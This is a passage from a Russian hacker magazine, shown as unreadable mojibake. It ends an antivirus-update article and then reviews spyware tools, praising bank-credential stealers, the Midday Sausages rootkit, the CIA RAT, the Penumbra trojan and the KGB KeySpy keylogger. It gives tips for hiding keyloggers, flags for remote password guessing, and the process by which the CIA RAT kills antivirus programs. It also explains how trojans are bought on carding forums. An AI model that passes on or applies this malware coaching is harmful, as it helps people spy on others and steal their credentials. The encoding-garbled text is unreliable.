àíòèâèðóñíûå ïðîãðàììû (ýòî æå êàñàåòñÿ îáíî-
âëåíèé ñèñòåì îáíàðóæåíèÿ àòàê, àíòèñïàìîâûõ
ñèñòåì è ò.ï.) îäèí ðàç â äåíü — êàê ïðàâèëî,
óòðîì, â ìîìåíò çàãðóçêè êîìïüþòåðà. Äîñòàòî÷-
íî ëè ýòîãî? Ìîæíî ñ óâåðåííîñòüþ ñêàçàòü, ÷òî
íåò. Åæåäíåâíî ïîÿâëÿåòñÿ 30-50 íîâûõ âèðóñîâ,
êîòîðûå íà÷èíàþò ðàñïðîñòðàíÿòüñÿ ïî ñåòÿì è çà-
ðàæàòü âñå íîâûå è íîâûå æåðòâû. Åñëè òû îáíî-
âëÿåøü ñâîþ àíòèâèðóñíóþ áàçó îäèí ðàç â äåíü,

òî âåðîÿòíîñòü çàðàæåíèÿ êîìïüþòåðà ìåæäó îá-
íîâëåíèÿìè âîçðàñòàåò ìíîãîêðàòíî. Îñîáåííî
îïàñíî òàêîå áåçäåéñòâèå âî âðåìÿ ýïèäåìèé,
êîãäà âðåäîíîñíàÿ ïðîãðàììà ðàñïðîñòðàíÿåòñÿ
ïî ñåòè ñ îãðîìíîé ñêîðîñòüþ. Ìàòåìàòè÷åñêè äî-
êàçàí ôàêò ñîçäàíèÿ ÷åðâÿ, ñïîñîáíîãî çàðàçèòü
âñå óçëû èíòåðíåòà (ïðè ñîâðåìåííîì ðàçâèòèè
èíôîðìàöèîííûõ òåõíîëîãèé) âñåãî çà 15 ìèíóò!
Äàæå ïðè åæå÷àñíîì îáíîâëåíèè àíòèâèðóñà òà-
êîé ÷åðâü 4 ðàçà «îáîãíåò» âñþ ñåòü, ïðåæäå ÷åì
åãî «çàñåêóò» àíòèâèðóñíûå ñòîðîæà.

Ðåêîìåíäàöèÿ îäíîêðàòíîãî îáíîâëåíèÿ
ðîäèëàñü â òî âðåìÿ, êîãäà îá èíòåðíåòå íèêòî è
íå äóìàë, à îñíîâíîé ïàðê âû÷èñëèòåëüíîé òåõ-
íèêè ñîñòàâëÿëè àâòîíîìíûå êîìïüþòåðû, íèêàê
ìåæäó ñîáîé íå ñâÿçàííûå. Îáìåí èíôîðìàöèåé
ïðîèñõîäèë íà 5-äþéìîâûõ äèñêåòàõ, ïðîãðàì-
ìíîå îáåñïå÷åíèå íå îáíîâëÿëîñü ãîäàìè è âè-
ðóñíîé ýïèäåìèåé ñ÷èòàëîñü ðàñïðîñòðàíåíèå
îáû÷íîãî çàãðóçî÷íîãî âèðóñà â ðàìêàõ îäíîãî
îòäåëà â òå÷åíèå íåñêîëüêèõ íåäåëü. Òîãäà îáíî-
âëåíèå àíòèâèðóñà «îäèí ðàç â äåíü» ñ÷èòàëîñü
êîëîññàëüíûì äîñòèæåíèåì, êîòîðîå äîëæíî áû-
ëî ñâåñòè íà íåò âñå óñèëèÿ âðåäîíîñíûõ ïðî-
ãðàìì. Ñ òåõ ïîð ìíîãî âîäû óòåêëî, êîìïüþòåðû
îáúåäèíèëèñü íå òîëüêî â ëîêàëüíûå, íî è â ãëî-
áàëüíûå ñåòè, ñêîðîñòè îáìåíà èíôîðìàöèè âîç-
ðîñëè ìíîãîêðàòíî (êîãäà-òî ñ÷èòàëîñü êðóïíûì
äîñòèæåíèåì âûéòè â èíòåðíåò íà ñêîðîñòè
14400 áîä, à ñåãîäíÿ íå õâàòàåò 7-ìåãàáèòíîãî
ADSL-êàíàëà). À âîò ðåêîìåíäàöèÿ îáíîâëÿòü
ñâîè àíòèâèðóñû îäèí ðàç â äåíü ïî÷åìó-òî îñòà-
ëàñü. Äàæå îáû÷íûå ÷åëîâå÷åñêèå ëåêàðñòâà íà-
äî ïðèíèìàòü íå îäèí, à 2-3 ðàçà â äåíü (ãîìå-
îïàòèþ è òîãî ÷àùå — êàæäûé ÷àñ ïðè ïåðâûõ
ñèìïòîìàõ çàáîëåâàíèÿ).

Àíàëîãè÷íûå äåéñòâèÿ íàäî ïðîèçâîäèòü è
äëÿ çàùèòû êîìïüþòåðíîãî îðãàíèçìà — î÷èùàòü
ñâîþ ñèñòåìó çàùèòû îò âðåäîíîñíûõ ïðîãðàìì
íàäî êàê ìîæíî ÷àùå. Õîòÿ, ðàçóìååòñÿ, ïåðåãè-
áàòü ïàëêó òîæå íå ñòîèò. Åñëè ïðîèçâîäèòåëü àí-
òèâèðóñà íå âûïóñêàåò îáíîâëåíèÿ ñâîåãî ïðîäóê-
òà ÷àùå, ÷åì ðàç â äåíü, òî è íàñòðàèâàòü êóïëåí-
íûé àíòèâèðóñ íà ïðîâåðêó íîâûõ ñèãíàòóð ïî íåñ-
êîëüêó ðàç â äåíü òîæå íå ñòîèò — ýòî áóäåò ëèø-
íåé òðàòîé ðåñóðñîâ.

Íàäî çíàòü íå òîëüêî òî, ÷òî ãðîçèò íàì â áëè-
æàéøåì áóäóùåì, íî è óìåòü çàùèùàòüñÿ îò òîãî,
ñ ÷åì ïðèõîäèòñÿ ñòàëêèâàòüñÿ óæå ñåãîäíÿ 
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ÎÁÇÎÐ ÒÎÏÎÂÎÃÎ
ØÏÈÎÍÑÊÎÃÎ ÂÀÐÅÇÀ
×ÅËÎÂÅÊ ÂÑÅÃÄÀ ÏÛÒÀËÑß ÓÇÍÀÒÜ ÒÎ, ×ÅÃÎ
ÅÌÓ ÇÍÀÒÜ ÍÅ ÏÎËÎÆÅÍÎ. ËÞÁÎÏÛÒÑÒÂÎ 
È ÆÀÆÄÀ ÌÎÃÓÙÅÑÒÂÀ — ÒÀÊÎÂÀ ÓÆ 
ÅÃÎ ÏÐÈÐÎÄÀ. ÈÍÔÎÐÌÀÖÈß ÄÀÅÒ ÝÒÎ —
ÒÅÐÀÁÀÉÒÛ Â ÃËÎÁÀËÜÍÎÉ ÑÅÒÈ ÒÀßÒ 
Â ÑÅÁÅ ÌÎÙÍÎÅ ÎÐÓÆÈÅ. ÍÅÓÄÈÂÈÒÅËÜÍÎ,
×ÒÎ ÄÀËÅÊÎ ÍÅ ÂÑß ÎÍÀ ÎÒÊÐÛÒÀ. 
À ÈÍÔÎÐÌÀÖÈß, ÊÀÊ ÈÇÂÅÑÒÍÎ, ÄÎËÆÍÀ
ÁÛÒÜ ÎÁÙÅÄÎÑÒÓÏÍÀ. Î ÒÎÌ, ÊÀÊ ÑÄÅËÀÒÜ
ÈÍÔÎÐÌÀÖÈÞ ÄÎÑÒÓÏÍÎÉ, ×ÈÒÀÉÒÅ Â ÌÎÅÌ
ÑÅÃÎÄÍßØÍÅÌ ÐÅÏÎÐÒÀÆÅ

Íàóìîâ Þðèé aka Ñrazy_script 
crazy_script@vr-online.ru

ààððññååííààëë 
ààããååííòòàà

ðàçâåäêà ááîåì. ×òî âîîáùå òàêîå øïèîíàæ?
Ýòî òåîðèÿ è ïðàêòèêà ñáîðà èíôîðìàöèè î ïðî-
òèâíèêå äëÿ îáåñïå÷åíèÿ áåçîïàñíîñòè è ïîëó÷å-
íèÿ ïðåèìóùåñòâ: ñáîð è àíàëèç äàííûõ èç îòêðû-
òûõ èñòî÷íèêîâ, ïðîñëóøèâàíèå, íàáëþäåíèå è, â
êîíöå êîíöîâ, êðàæà èíôîðìàöèè. Ñåé÷àñ SpyWa-
re ïðåäñòàâëÿåò ñîáîé íå ïðîñòî ÏÎ äëÿ ñëåæåíèÿ
çà äåéñòâèÿìè ïîëüçîâàòåëÿ: íà äàííûé ìîìåíò
ýòî ñêîðåå êîìïëåêñíûé ïðîåêò, ñîñòîÿùèé èç ìî-
äóëåé, ðåàëèçóþùèõ ìíîæåñòâî âîçìîæíîñòåé,
óìåþùèõ ñêðûâàòüñÿ è îïðåäåëåííîå âðåìÿ íàõî-
äèòüñÿ â ñèñòåìå íåçàìå÷åííûìè. Ïîýòîìó â ýòîé

ñòàòüå ÿ ïîçíàêîìëþ òåáÿ ñ íàèáîëåå ýôôåêòèâ-
íûì è êà÷åñòâåííûì íà íàø âçãëÿä øïèîíñêèì
ÏÎ, êîòîðîå ïîìîãàåò õàêåðàì äîñòèãàòü ïîñòà-
âëåííûõ öåëåé è äîáèòüñÿ æåëàåìîãî ðåçóëüòàòà.
Êîíå÷íî æå, ýòó èíôîðìàöèþ ìû òðàäèöèîííî
ïðåäñòàâëÿåì òîëüêî äëÿ òîãî, ÷òîáû íàøè ÷èòà-
òåëè ñìîãëè ïðåäñòàâëÿòü ñåáå èñòî÷íèêè óãðîçû
è ýôôåêòèâíî åå ëîêàëèçîâûâàòü.
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Ïðèâàòíûé ñïàéâàð —
ýòî â ïåðâóþ î÷åðåäü
ïëàòíûé ñïàéâàð. È îñ-
íîâíàÿ çàäà÷à ïðèâàò-
íîãî ñïàéâàðà, êàê è
ëþáîãî äðóãîãî ïëàòíî-
ãî ïðîäóêòà, — ìàêñè-
ìàëüíî ïîëíî îòâå÷àòü
çàïðîñàì ïîëüçîâàòåëÿ
(òî åñòü, òàê èëè èíà÷å,
õàêåðà). Åñëè ïîëüçîâà-
òåëþ ñïàéâàðà òðåáó-
þòñÿ êàêèå-òî äàííûå
— îíè äîëæíû áûòü
ïðåäîñòàâëåíû â ëó÷-
øåì è ñàìîì ïîëíîì
âèäå. Ê ïðèìåðó, îáû÷-
íûé ôîðìãðàááåð, ñîð-
öû êîòîðîãî òû áåç òðó-
äà íàéäåøü â Ñåòè, íå

ñìîæåò ïðåäîñòàâèòü
âñþ èíôîðìàöèþ î
áàíêîâñêîì àêêàóíòå
æåðòâû. Áàíàëüíàÿ çà-
ùèòà TAN'îì íå äàñò
õàêåðó âîñïîëüçîâàòü-
ñÿ ÷óæèìè äåíüãàìè. 
À ïðèâàòíûé ñîôò, íà-
ïèñàííûé ñïåöèàëüíî
äëÿ âîðîâñòâà áàíê-àê-
êàóíòîâ, ïîñðåäñòâîì
íåõèòðûõ ìàíèïóëÿöèé
ñ http-òðàôèêîì áåç
òðóäà ïðåäîñòàâèò âíè-
ìàíèþ ñâîåãî âëàäåëü-
öà è ïàðîëü, è ëîãèí, è
TAN'û, è äàæå òåêóùèé
áàëàíñ æåðòâû. Âîò ÷òî
çíà÷èò — ñåðâèñ. Ëîãè
ïîäîáíûõ ïðîãðàìì äî-

ðîæå çîëîòà. Íóæíû ïà-
ðîëè îò ïî÷òû? Ïóáëè÷-
íûé ñîôò áóäåò ðûòüñÿ
â ðååñòðå è êó÷å ôàé-
ëîâ, â ðåçóëüòàòå ÷åãî
íå ôàêò, ÷òî äàñò õîòÿ
áû ïàðîëü îò Outlook
«òàêîé-òî âåðñèè» è
The Bat! íå ñòàðøå 3.5.
Ïëàòíûé æå ïðîäóêò
ïðîñòî îòñíèôàåò âñþ
íåîáõîäèìóþ èíôîðìà-
öèþ, è íèêàêèå íîâûå
âåðñèè (ñ «íîâîé êðèï-
òîãðàôè÷åñêîé ñèñòå-
ìîé õðàíåíèÿ ïàðî-
ëåé») åìó íå ñòðàøíû.
Åñëè â öåëîì — âîç-
ìîæíîñòè ó ïëàòíîãî
ñïàéâàðà ëþáûå, âåðî-

ÿòíî, äàæå òàêèå æå,
êàê è â ïóáëè÷íîì ñîô-
òå, íî íà ïîðÿäîê êà÷å-
ñòâåííåå, à, ñëåäîâà-
òåëüíî, äîõîäíåå.

Ðàçìåðû? Äà êîãî
îíè âîëíóþò! Âñå ðàâíî
ïðè çàãðóçêàõ ñïàéâàð-
ñîôòà íà êîìïüþòåð
æåðòâû èñïîëüçóåòñÿ
ñïåöèàëüíûé ëîàäåð.
Ñêîëüêî íàäî — ñòîëü-
êî è çàãðóçèò. Îäíàêî
ðåáÿòà, ïèøóùèå òðîÿ-
íû — íå ëîõè, ó íèõ âñå
ðàâíî ïîëó÷àþòñÿ ìà-
ëåíüêèå è àêêóðàòíåíü-
êèå ïðîãðàììû — ïðîã-
ðàìì áîëüøå 40Êá ÿ
ïðîñòî íå âèäåë.

Íó, ýòî ñìîòðÿ êòî àâ-
òîð. Êòî-òî äëÿ îáõîäà
ôàéðâîëîâ ïîëüçóåòñÿ
èíæåêòîì, ìèëëèîí ðàç
âñåìè îïèñàííûì, à
êòî-òî â ñîñòîÿíèè íà-
ïèñàòü ñâîé òðàíñïîðò-
íûé óðîâåíü äëÿ âèíäû,

÷òîáû íè îäèí ñåòåâîé
ôèëüòð âîîáùå íå âè-
äåë ñåòåâîãî òðàôèêà
ñïàéâàðà. Ïðàâäà, ñòî-
èìîñòü ïîäîáíîé òåõíî-
ëîãèè — ïðîñòî îãðîì-
íàÿ. Íà ëþáóþ ïîÿâëÿ-
þùóþñÿ çàùèòó ó ïðî-

ôåññèîíàëüíîãî ñïàé-
âàð-êîäåðà âñåãäà íàé-
äåòñÿ äîñòîéíûé ñòîòû-
ñÿ÷íîãî áîòíåòà îòâåò. 
À âîîáùå àíòèâèðóñà-
ìè ïîëüçóåòñÿ î÷åíü
ìàëåíüêèé ïðîöåíò
ïîëüçîâàòåëåé èíòåðå-

íåòà, è íà áîðüáó ñ íè-
ìè, êîíå÷íî, çàìîðà÷è-
âàþòñÿ, íî íå òàê, ÷òîáû
î÷åíü ñåðüåçíî. ×àñòî
ïðîñòî îãðàíè÷èâàþòñÿ
îòñóòñòâèåì â ñîáñòâåí-
íîì êîäå ñèãíàòóð, çíà-
êîìûõ àíòèâèðóñàì.

S P E  I A L Ì Í Å Í È Å

À  Ê À Ê  Î Ò Í Î Ø Å Í È ß  Ñ  À Í Ò È Â È Ð Ó Ñ À Ì È  È  Ô À É Ð Â Î Ë À Ì È ?  

Ï Ð Î À Ê Ò È Â Í À ß  Ç À Ù È Ò À  Î Ò Ä Û Õ À Å Ò ?

Ñòîèìîñòü ðàçíàÿ. Ó ïî-
ïóëÿðíûõ (åñëè òàê ìîæ-
íî âûðàçèòüñÿ) ïðèâàò-
íûõ òðîÿíîâ öåíà êîëåá-
ëåòñÿ îò òûñÿ÷è äî òðåõ

òûñÿ÷ äîëëàðîâ çà ñêîì-
ïèëåííóþ êîïèþ (äåëî
ïðèáûëüíîå, íî óãîëîâ-
íî íàêàçóåìîå). Ïðîäà-
åòñÿ ïîäîáíûé ñîôò íà

ñïåöèàëèçèðîâàííûõ
çàêðûòûõ êàðäåðñêèõ
ôîðóìàõ. ×òîáû òóäà
ïîïàñòü, íóæíî íàéòè 2-
3 ÷åëîâåê ñ ýòîãî ôîðó-

ìà, êîòîðûå ìîãóò çà
òåáÿ ïîðó÷èòüñÿ (÷òî òû
íå ôåäåðàë, íå àâåð è,
âîîáùå, íå äÿòåë), è äî
$50 â ìåñÿö çà ÷ëåíñòâî.

À  × Ò Î  Æ Å  Í À Ñ × Å Ò  Ñ Ò Î È Ì Î Ñ Ò È ?  Ã Ä Å  Ä Î Á Û Â À Þ Ò  Ñ Â Å Æ À × Î Ê ,  È  Ê À Ê  Â  Ý Ò Ó  Ò Ó Ñ Î Â Ê Ó  Â Ë È Â À Þ Ò Ñ ß

Ë Þ Ä È  Ñ  Ó Ë È Ö Û ?  Ì Î Æ Å Ò  Á Û Ò Ü ,  Í À Ä Î  Ñ Î Â Å Ð Ø È Ò Ü  Ê À Ê Î É - Ò Î  Í À Ñ Ò Î ß Ù È É  Ì Ó Æ Ñ Ê Î É  Ï Î Ñ Ò Ó Ï Î Ê ?

× Ò Î  Ï Ð Å Ä Ñ Ò À Â Ë ß Å Ò  Ñ Î Á Î É  Ñ Î Â Ð Å Ì Å Í Í Û É  Ï Ð È Â À Ò Í Û É  Ñ Ï À É Â À Ð ?  ß  È Ì Å Þ  Â Â È Ä Ó ,  

Ê Î Í Å × Í Î  Æ Å ,  Ô Ó Í Ê Ö È È ,  Ð À Ç Ì Å Ð Û ,  Â Î Ç Ì Î Æ Í Î Ñ Ò È . . .

ÍÈÊÎËÀÉ «GORL»
ÀÍÄÐÅÅÂ

âûïóñêàþùèé ðåäàêòîð
æóðíàëà «Õàêåð», 
âîëüíûé ïðîãðàììèñò.
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Îòëè÷íûé èíñòðóìåíò
äëÿ îáæèâàíèÿ âçëî-
ìàííîé òà÷êè îò îòå÷å-
ñòâåííîãî ïðîèçâîäè-
òåëÿ. Íåáåçûçâåñòíàÿ
RusH Security Team
«ñîáðàëà» ñîáñòâåí-
íûé ðóòêèò èç ñàìûõ-
ñàìûõ, íà èõ âçãëÿä,
ïðîãðàìì äëÿ ñáîðà
èíôîðìàöèè. Â ñîñòàâ
âõîäèò îêîëî 30 óòè-
ëèò, áîëüøèíñòâî èç
êîòîðûõ òðàíñïîðòèðî-
âàíû èç unix-ñèñòåì.
Äàííûå î êàæäîì èç
íèõ òû ñìîæåøü íàéòè
â àðõèâå (midday_sau-
sages.txt). 

Îòëè÷íûì ïðåäñòà-
âèòåëåì íàáîðà ÿâëÿ-
åòñÿ ñòàðûé êåéëîããåð
IKS (Invisible Keylogger
Stealth). Îí óñòàíàâëè-
âàåòñÿ êàê äðàéâåð
óñòðîéñòâà è ââèäó ýòî-
ãî ñ òðóäîì âûÿâëÿåòñÿ
â ñèñòåìå. Äëÿ áîëåå
ýôôåêòèâíîãî ñêðûòèÿ
øïèîíà ñîâåòóþ ïîïðà-
âèòü iks.reg, òàê èëè
èíà÷å ó÷àñòâóþùèé â
óñòàíîâêå. Îñîáî ìíî-
ãî ìåíÿòü íå ïðèäåòñÿ:
DisplayName (èìÿ â ðå-
åñòðå, ìîæíî ëþáîå),
LogName (ïóòü ê ôàéëó
ëîãîâ). Ïðè æåëàíèè

ìîæíî ïîìåíÿòü è èìÿ
ôàéëà-äðàéâåðà. Íà-
ñòðîéêà ïðîñìîòðà ëî-
ãîâ îñóùåñòâëÿåòñÿ ñ
ïîìîùüþ ôèëüòðîâ. Â
readme åñòü èíñòðóê-
öèÿ ïî óñòàíîâêå êåé-
ëîããåðà (êàê ñ ïðàâàìè
ðóòà òàê è áåç íèõ) è
ðàáîòå ñ íèì.

Åñòü â íàáîðå åùå
îäíà î÷åíü ïîëåçíàÿ
âåùèöà — óòèëèòà
enum îò ãðóïïû Razor.
Ïðîãðàììà îòëè÷àåòñÿ
ñâîåé óíèâåðñàëüíî-
ñòüþ: àâòîìàòèçèðóåò
óñòàíîâêó è ðàçðûâ íó-
ëåâîãî ñîåäèíåíèÿ,
ïðåäîñòàâëÿåò äàííûå
î ïîëèòèêå ïàðîëåé è
äàæå äàåò âîçìîæ-
íîñòü âûÿñíèòü ïàðîëü
êàêîé-íèáóäü ñëàáîçà-
ùèùåííîé çàïèñè. À
ïðè èñïîëüçîâàíèè ïà-
ðàìåòðîâ «-D -u <login>
-f <file_passwd>» ìî-
æåò äàæå ïîäîáðàòü
óäàëåííûé ïàðîëü. Äëÿ
èçâëå÷åíèÿ èíôîðìà-
öèè ÷åðåç íóëåâîå ñîå-
äèíåíèå ïðîùå âñåãî
çàþçàòü óòèëèòó nete
îò Cult Death Cow.

Íî âîò óñëîâèÿ ðà-
áîòû ñ ðóòêèòîì îñòà-
âëÿþò æåëàòü ëó÷øåãî.
Âî-ïåðâûõ, äåëî, êî-
íå÷íî, â ðàçìåðå. Âåñèò
âñå ýòî äîáðî â ðàñïà-
êîâàííîì âèäå îêîëî 
8 Ìá (â àðõèâå 2.7 Ìá).
Âî-âòîðûõ, ýòî ñêðû-
òèå èíñòðóìåíòà â ñè-
ñòåìå. Àâòîð ïðåäëàãà-
åò ëèøü âàðèàíò attrib
+h. Íó, êîíå÷íî åñëè îí
òåáÿ óñòðàèâàåò, ñîñè-
ñêè ïðèäóòñÿ ïî âêóñó.
Ïàêåò ïðîãðàìì ìîæíî
âñåãäà âçÿòü ñ ñàéòà
êîìàíäû: rst.void.ru.

Ìíîãîôóíêöèîíàëüíûé
è ñðàâíèòåëüíî ñâåæèé
òðîÿí, íàïèñàííûé íà
VB õàêåðîì ïî èìåíè
Alchemist. Òóëçà ôóíê-
öèîíàëüíà, êðàñèâà,
óäîáíà, ïîääåðæèâàåò
ïëàãèíû, ñêðèïòû è äà-
æå ñêèíû :). Ôàéë ñåð-
âåðà ïàêóåòñÿ ñïå-
öèàëüíîé óòèëèòîé
mew by Northfox (north-
fox.uw.hu) è ñòàíîâèòñÿ
ïðèìåðíî â òðè ðàçà
êîìïàêòíåå. Òàêèõ ðå-
çóëüòàòîâ ïîìîãàåò äî-
áèòüñÿ open source àë-
ãîðèòì øèôðîâàíèÿ
LZMA (èñïîëüçóåòñÿ â
7-Zip). ß ïîïûòàëñÿ çà-
ïàêîâàòü îäèí è òîò æå
ñåðâåð äðóãèìè óòèëè-
òàìè (ASPack, PECom2,
UPX), è íå îäèí èç íèõ
íå ñäåëàë ýòî ëó÷øå.  Î
áîëåå êà÷åñòâåííîé
øèôðîâêå ñ ïîìîùüþ
mew ÷èòàé â ñòàòüå
«Îáìàí PeiD èëè ñêðû-
âàåì ñèãíàòóðó MEW»
íà www.team-x.ru.

Åñëè âñå æå òåáÿ
÷òî-òî íå óñòðàèâàåò, è
åñòü æåëàíèå äîáàâèòü
ê ñâîåìó îðóæèþ åùå
ïàðó äðóãèõ ôèøåê, ìî-
æåøü ïðèäæîéíèòü
ñâîþ ëè÷íóþ óòèëèòó ê
ñåðâåðó. Ïðè çàïóñêå
ïðîãðàììû îíà áóäåò
êîïèðîâàòüñÿ è çàïó-
ñêàòüñÿ ïî òâîåìó óñìî-
òðåíèþ (Build Server 
Binder). Ñïîñîá ýòîò íå-
ýôôåêòèâåí ïîòîìó,
÷òî èñ÷åçàåò îäíî èç
ïðåèìóùåñòâ êðûñû —
ðàçìåð. Íî âñå ïðîäó-
ìàíî — åñòü åùå ïàðà
ñïîñîáîâ îòòþíèíãî-
âàòü CIA ïîä ñåáÿ. Ïåð-
âûé — äàòü òðîþ çàäà-

÷ó ñêà÷èâàòü ôàéëû èç
Ñåòè (ïðè ýòîì åñòü
ïîääåðæêà socks) è
ñîõðàíÿòü èõ êóäà äóøà
ïîæåëàåò. Âòîðîé ñïî-
ñîá áîëåå ïðèÿòíûé è
îòêðûâàåò õàêåðó ñàì-
îå ãëàâíîå — ïóòü ê
òâîð÷åñòâó :). Äà-äà,
ýòî òå ñàìûå ïëàãèíû,
êîòîðûå ìîæíî ïèñàòü
ñàìîìó íà VB. Ïðè÷åì
â êîìïëåêò òðîÿ âõîäèò
íåñêîëüêî ãîòîâûõ ïëà-
ãèíîâ, ïàðà ïðèìåðîâ,
à òàê æå íåáîëüøàÿ äî-
êóìåíòàöèÿ ïî íàïèñà-
íèþ. Åñëè íóæíî, ïëà-
ãèíû óæå áóäóò çàêà÷è-
âàòüñÿ íà ñåðâåð. Ìîæ-
íî âêëþ÷èòü õîòü 100
ïëàãèíîâ, à èñïîëüçî-
âàòü òîëüêî 5 — ðàçìåð
âñå ðàâíî îñòàíåòñÿ
ïðåæíèì.

Áåç ñîìíåíèÿ, ôóíê-
öèîíàëüíîñòü òðîÿ âíó-
øàåò óâàæåíèå, íî òóë-
çà ýòîé êàòåãîðèè áóäåò
áåñïîëåçíà, åñëè îíà
íå óìååò ãðàìîòíî
ñêðûòüñÿ â ñèñòåìå.
CIA óìååò ìíîãîå... 
Íàïðèìåð, ñïðÿòàòüñÿ
îò äèñïåò÷åðà çàäà÷ 
è ïðàêòè÷åñêè ìãíîâåí-
íî (ïðèìåðíî â òå÷åíèå
2 ñåêóíä ïîñëå çàïóñêà)
çàøèôðîâàòüñÿ îò
ãðîçíîãî PE. Ïðè æåëà-
íèè â íàñòðîéêå ñåðâå-
ðà ìîæíî äîïîëíèòåëü-
íî óêàçàòü ñïèñîê ïðî-
öåññîâ, ïîäëåæàùèõ
ñêðûòèþ. Ýòî àêòóàëü-
íî ïðè èñïîëüçîâàíèè
ñòîðîííèõ óòèëèò. À êàê
æå áûòü ñ àíòèøïèîí-
ñêèì ÏÎ, ñïðîñèøü òû?
Ýòà ïðîáëåìà ðåøàåò-
ñÿ ïóòåì óáèéñòâà ïðî-
öåññîâ. Ïðîñòî ââîäèì
íàçâàíèå ïðîöåññà (áåç
ðàñøèðåíèÿ) è äîáàâ-
ëÿåì â ñïèñîê (Build
Server Firewall Killing).
Ðàçðàáîò÷èê çàìîðî-
÷èëñÿ è ñîáðàë ôàéë ñî
ñïèñêîì ñàìîãî èçâåñò-
íîãî àíòè-ÏÎ ðàçìåðîì
ïî÷òè â 500 çàïèñåé.
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Midday 
Sausages 1.0

rootkit

free

http://rst.void.ru
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CIA 1.3

rat

freeware

www.cruel-inten-

tionz.com



Ïðåêðàñíûé òðîé îò
êîðåéñêèõ õàêåðîâ ñ
îòëè÷íûìè ìåòîäàìè
íåâèäèìîñòè. Â îòëè-
÷èå îò ñâîèõ êîëëåã,
ñóìåë ñêðûòüñÿ íå
òîëüêî îò Windows
Task Manager: Process
Explorer òàê æå íè÷åãî
íå ïîêàçàë. Áýêäîð
ïðîíèêàåò â ñèñòåìó
ïóòåì âíåäðåíèÿ â
îïðåäåëåííûé ïðî-
öåññ. Ìíå ïðèøëîñü
óäàëÿòü êëèåíò ÷åðåç
çàïóùåííûé ñåðâåð,
êîòîðûé, êñòàòè, âíó-
øèòåëüíûõ ðàçìåðîâ:
â íåçàïàêîâàííîì âèäå
âåñèò îêîëî 370Kb.

Â ïëàíå ôóíêöèîíàëü-
íîñòè òðîé ñêîðåå óñòó-
ïàåò ïðåäûäóùåìó ïðè-
ìåðó, õîòÿ ïðåäîñòà-
âëÿåìûõ èíñòðóìåíòîâ
äîëæíî âïîëíå õâàòèòü
äëÿ îñóùåñòâëåíèÿ
áîëüøèíñòâà öåëåé:
ñáîð èíôîðìàöèè î ñè-
ñòåìå, î ïðîöåññàõ, çà-
ïóñê ïðîãðàìì, à òàê æå
ëîã ââåäåííûõ ïàðîëåé,
íà÷èíàÿ îò explorer'a 
è çàêàí÷èâàÿ winrar'îì.
Â ëþáîé ìîìåíò ìîæíî
ñíÿòü ñêðèí ýêðàíà, íî,
â îòëè÷èå îò CIA, òîëüêî
îäíîé êàðòèíêîé. 

Êîíôèãóðàóöèÿ ýê-
çåøíèêà ñåðâåðà îñó-
ùåñòâëÿåòñÿ ÷åðåç êëè-
åíò è íå ïðåäñòàâëÿåò
èç ñåáÿ íè÷åãî îñîáåí-
íîãî, ðàçâå ÷òî òîëüêî
âûáîð ìåòîäà ðàáîòû â
ñèñòåìå. Ëèáî òðîé áó-
äåò ðàáîòàòü êàê îò-
äåëüíûé ïðîöåññ (èìÿ
è îïèñàíèå êîòîðîãî
óêàçûâàåòñÿ ïðè êîí-
ôèãóðàöèè ñåðâåðà),
ëèáî áóäåò ïðîèçâîäèò-
ñÿ èíêëóä â ëþáîé óæå
ñóùåñòâóþùèé.
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Penumbra 1.7.2

trojan

freeware

www.yzkzero.yeah.net

Õîðîøèé êëàâèàòóð-
íûé øïèîí îò íûíå íå-
ñóùåñòâóþùåé êîìàí-
äû Blacklogic. Ìíîãî-
êðàòíûå ïîñòû íà ôî-
ðóìàõ è íîâîñòè ñ ïî-
ëîæèòåëüíûìè îòçûâà-
ìè îò íåáåçûçâåñòíûõ
ëè÷íîñòåé âûçûâàëè
íåïîääåëüíûé èíòåðåñ
ê ýòîé òóëçå. Ê íàñòó-
ïëåíèþ 2005 ãîäà ìåì-
áåðû ðåøèëè ñäåëàòü
ïîäàðîê — ïóñòèëè òà-
êè ðàíåå ïðèâàòíûé
êåéëîããåð â ìàññû.

Òóëçà, íàïèñàííàÿ
ïîëíîñòüþ íà àññåì-
áëåðå, âûøëà óäîáíîé,
ïðîñòîé, à ãëàâíîå —
ýôôåêòèâíîé. È ñåé-
÷àñ, ñïóñòÿ 2 ãîäà øïèîí
íå ïîòåðÿë ñâîé çàïàë.
Íàñòðîéêà ñåðâåðà íå
ïîòðåáóåò âûñîêîé óì-

ñòâåííîé äåÿòåëüíî-
ñòè: óêàçàíèå ïàðàìå-
òðîâ smtp-ñåðâåðà, äó-
ìàþ, íå ñîñòàâèò îñî-
áîãî òðóäà. Â èòîãå —
ïîëó÷àåòñÿ 9-òè êèëî-
áàéòîâûé ðàçâåä÷èê.

Ëîã âåäåòñÿ ñ ó÷å-
òîì ðåãèñòðà, ïðèíÿòè-
åì ðóññêîãî ÿçûêà è
óêàçàíèåì îêíà-èñòî÷-
íèêà ñ îòâåòñòâåííî-
ñòüþ è íàäåæíîñòüþ
íàñòîÿùåãî àãåíòà ñî-
âåòñêèõ âðåìåí, ïðè-
÷åì ïåðåä îòïðàâêîé
îñîáî ñåêðåòíîé èí-
ôîðìàöèè ê õàêåðó íà
ìûëî, ÊÃÁ'ýøíèê ïðåä-
âàðèòåëüíî çàøèôðóåò
è çàïàêóåò ëîã. Äëÿ
ðàñøèôðîâêè èñïîëü-
çóåòñÿ óòèëèòà, âõîäÿ-
ùàÿ â êîìïëåêò 
(unpack*.exe).
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KGB KeySpy 2.0 

keylogger

freeware

www.ya.ru :)
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Íà çàêóñêó ÿ ðåøèë
ðàññêàçàòü òåáå î ïðè-
âàòíîì èíñòðóìåíòå —
áîòå ñî âñòðîåííûì
áýêäîðîì è âîçìîæíî-
ñòüþ åãî àäìèíèñòðè-
ðîâàíèÿ êàê ÷åðåç irc-
ñåòü, òàê è ÷åðåç web-
èíòåðôåéñ. Ïðè÷åì ïðè
êîíôèãóðàöèè ðàáîòû
ìîæíî óêàçûâàòü ñðàçó
äâà ñåðâåðà, íà ñëó÷àé
åñëè îäèí èç íèõ îêà-
æåòñÿ íåðàáî÷èì. 

Æèâîòíîå íàòðåíè-
ðîâàíî äëÿ âûæèâàíèÿ
â îñîáî òðóäíûõ óñëî-
âèÿõ: äðàéâåð óðîâíÿ
ÿäðà, êîòîðûé ñêðûâà-
åò êàê áîòà, òàê è ñàìî-
ãî ñåáÿ, òàêæå ñêðûâà-
åò ïðîöåññ è çàïðåùàåò
åãî óáèéñòâî. Åñëè
ïîëüçîâàòåëü ðàáîòàåò
áåç ïðàâ àäìèíèñòðàòî-
